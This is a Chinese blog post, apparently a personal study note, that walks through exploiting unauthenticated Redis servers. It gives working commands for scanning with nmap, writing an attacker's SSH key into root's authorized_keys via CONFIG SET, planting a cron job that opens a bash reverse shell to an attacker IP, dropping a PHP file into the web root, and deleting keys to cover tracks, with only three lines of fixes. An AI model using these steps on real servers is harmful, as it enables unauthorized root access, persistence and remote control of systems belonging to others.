zoukankan      html  css  js  c++  java
  • 【漏洞复现】之Redis未授权访问

     (本文仅为平时学习记录,若有错误请大佬指出,如果本文能帮到你那我也是很开心啦)

    一、概述

    Redis:一个开源(BSD许可)的,内存中的数据结构存储系统,它可以用作数据库、缓存和消息中间件。Redis虽然是高性能内存数据库,但也支持将内存数据保存至硬盘上,实现持久化存储。

    Redis未授权访问漏洞:Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

    二、漏洞验证

    1.单个验证:

    redis-cli -p 6379 -h 目标IP

    2.多个验证:

    1 nmap -v -n -Pn -p 6379 -sV --script=redis-info 192.168.10.1/24
    2     -v  提高输出信息的详细度
    3     -n  不对 IP 进行域名反向解析
    4     -Pn  不检测主机存活
    5     -p  指定端口
    6     -sV  探测版本
    7     --script=  调用的脚本名
    • 登录过后输入 ping,回显 PONG 则登录成功

    三、漏洞利用

    1.信息收集:使用info命令查看服务端环境信息

    2.上传SSH公钥获取SSH登录权限:

    • 在本机生成key
    1 root@ubuntu:~#ssh-keygen -t rsa  //三个回车
    2 root@ubuntu:/#cd /root/.ssh
    • 将公钥导入key.txt文件
    (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > key.txt
    • 将公钥导入到靶机中
    cat /root/.ssh/key.txt | ./redis-cli -h 目标IP -x set xxx
    • 连接靶机
    ./redis-cli -h 目标IP
    • 写入(Redis 可以创建文件但无法创建目录,所以,Redis 待写入文件所在的目录必须事先存在且 Redis 安装账号对其有写权限。Redis 写文件大致分为四个步骤:登录、设置文件路径、创建键/值、保存)
    1 config set dir /root/.ssh
    2 config set dbfilename authorized_keys
    3 save
    • 远程连接
    1 ssh 目标IP
    2 ssh -i id_rsa root@目标IP

    3.反弹Shell:将目标服务器中的终端弹到指定位置(攻击者服务器),并且需要注意弹出来的shell和当前环境有关,比如使用Apache2服务弹出来的Shell权限为www-data,低权限

    • 利用计划任务执行命令反弹Shell

    计划任务:在某个时间段运行,Linux中使用crontab工具(周期性执行任务)

    1 crontab存放位置/var/spool/cron
    2 crontab -l  表示查看当前用户的计划任务
    3 crontab -e  编辑任务/添加任务
    4 crontab -r  删除任务
    5 Linux的计划任务由6部分组成:分钟  小时  天  月  星期  任务/命令/脚本
    6 例如:*/2( 每2分钟) *  *  *  *  echo “icq” >>/tmp/icq.txt
    • 利用过程 
    1 set xxx “
     * * * * * /bin/bash -i >& /dev/tcp/攻击者IP/监听端口 0>&12 -i  表示交互模式,python、php、ruby、nc等等都可以反弹shell
    3 CONFIG SET dir /var/spool/cron
    4 CONFIG SET dbfilename root
    5 save
    • 记得清楚痕迹删除键值
    DEL xxx

    4.GetShell(需要知道网站的绝对路径):

    1 config set dir /var/www/html/
    2 config set dbfilename shell.php
    3 set x "<?php phpinfo();?>"
    4 save
    5 DEL x

    四、修复

    1.限制登录ip

    2.添加密码

    3.修改默认端口

  • 相关阅读:
    redis 五种数据结构详解(string,list,set,zset,hash)
    推荐一个同步Mysql数据到Elasticsearch的工具
    一些经验,用来鉴别不太靠谱的公司或工作(面试是双向的,是你最好的了解这个公司的机会)
    OpenSSL 使用 base64 编码/解码(liang19890820)
    Qt之QEvent(所有事件的翻译)
    Go 在 Windows 上用户图形界面 GUI 解决方案 Go-WinGUI 国产(使用cef 内核)
    卷积神经网络CNN
    Event Driven Architecture
    wineshark分析抓取本地回环包
    僵尸进程与孤儿进程
  • 原文地址:https://www.cnblogs.com/yankaohaitaiwei/p/12397772.html
Copyright © 2011-2022 走看看